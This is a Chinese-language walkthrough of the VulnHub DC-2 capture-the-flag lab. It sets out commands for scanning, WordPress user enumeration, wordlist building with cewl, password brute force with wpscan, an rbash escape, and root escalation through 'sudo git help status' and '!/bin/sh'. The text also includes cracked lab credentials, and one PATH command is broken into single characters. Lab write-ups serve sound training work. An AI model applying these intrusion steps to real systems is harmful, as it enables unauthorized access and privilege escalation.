DC-2靶场实验步骤
1.环境搭建
与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。 | |
和DC-1一样,有五个flag |
- 靶场下载地址链接: https://www.vulnhub.com/entry/dc-2,311/
2.渗透靶场
输入nmap -sP 192.168.25.131/24查询靶场的真实ip
nmap -sP 192.168.25.131/24
输入nmap -A -p- -v 192.168.25.131探测端口
nmap -A -p- -v 192.168.25.131
我们发现开放了80端口,开放了web服务
还发现开放了7744端口,开放了ssh服务
访问web站点
http:// 192.168.25.131
我们发现访问不成功,并且发现我们输入的IP地址自动转化为了域名,说明DC-2这个域名解析失败,所以我们需要更改hosts文件,添加一个IP域名的指向
Vim /etc/hosts
Vim /etc/hosts
添加完成之后,再次访问,就可以访问成功了
Flag1
可以发现是一个wordpress的站点
点击图片下方的flag,点开发现flag1
接下来做一个目录扫描
dirb http://dc-2/
dirb http://dc-2/
发现图中内容疑似后台地址(通常情况下“user”代表用户)
点击打开链接,打开之后进入到了一个陌生阴森的登录界面
我又试了两个,貌似没有什么用
前面我们提到这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描
以下是wpscan的常用语句
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
输入wpscan --url http://dc-2
wpscan --url http://dc-2
发现wordpress的版本4.7.10
登录页面尝试登录
输入用户名和密码,提示用户名不存在,不过好像可以进行用户名枚举
首先来个用户枚举,再尝试利用枚举得到的用户爆破密码
wpscan --url http://dc-2 --enumerate u
wpscan --url http://dc-2 --enumerate u
枚举出三个用户名
分别是admin
Jerry
tom
接下来暴力破解出账号密码
根据flag1发现可以用暴力破解,我们可以使用cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper的密码破解工具中。除此之外,Cewl还提供了命令行工具。
为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。
这里可以使用-w参数来将密码字典存储为text文件:
使用cewl http://dc-2/ -w dc2.txt 或者 cewl http://dc-2/ > 1.txt
cewl http://dc-2/ -w dc2.txt 或者 cewl http://dc-2/ > 1.txt
使用wpscan进行暴力破解
wpscan --url http://dc-2 --passwords dc2.txt
wpscan --url http://dc-2 --passwords dc2.txt
爆破出两个账号和密码
jerry/adipiscing
tom/parturient
接着使用jerry的账户登录此站点
这个使用tom的账户登录此站点
Flag2
登录之后,我们在Jerry的账号里面发现了flag2
Flag3
点进去之后发现flag2的提示信息,简单来说就是wordpress行不通的话,还会有另一种方法
随后我们在tom的家发现了flag3
我们尝试用破解出来的后台密码连接ssh,结果只有tom可以登录,然后登入ssh
ssh tom@192.168.25.131 -p 7744
ssh tom@192.168.25.131 -p 7744
这里把所有的命令试了一遍,发现只有less和vi可以使用
提示信息
接下来尝试rbash绕过详情参考链接: https://xz.aliyun.com/t/7642
查看可以使用的命令
echo $PATH
echo $PATH
我们发现cd进不去目录,直接使用ls查看
然后使用echo来直接绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=
P
A
T
H
:
/
b
i
n
/
e
x
p
o
r
t
P
A
T
H
=
PATH:/bin/ export PATH=
PATH:/bin/exportPATH=PATH:/usr/bin
echo /*
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
Flag4
在Jerry的家发现flag4
直接cd切换到Jerry的家,成功的在Jerry的家发现了flag4
我们直接用cat打开flag4,提示信息如下
大致意思是
Good to see that you’ve made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you’re on your own now. :- )
这里没有暗示,你现在只能靠自己了。)
Go on
继续
git outta here!!!
大致意思就是还没有结束,我们可以使用git,使用git来提升权限
我们通过flag4 的提示可以看的出来,让我们拿root权限,最后一句提示git提权。
Tom没有运行sudo的权限,我们切换到Jerry用户,发现Jerry根本不需要root,可以直接使用git命令
sudo -l
sudo -l
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
Jerry用户也不可以直接使用sudo
现在我们直接输入sudo git help status用git命令进行提取
sudo git help status
进入之后,直接输入!/bin/sh
!/bin/sh
Flag5
然后我们发现提权成功,那么…我们直接开刀!!!
然后我们cd回到root目录查看,发现了final-flag.txt
使用cat打开final-flag.txt,会给出 Well Done!
也就是这一关你通过了,下面我们完成了DC-2,加油突破DC-3!!!!!!!!!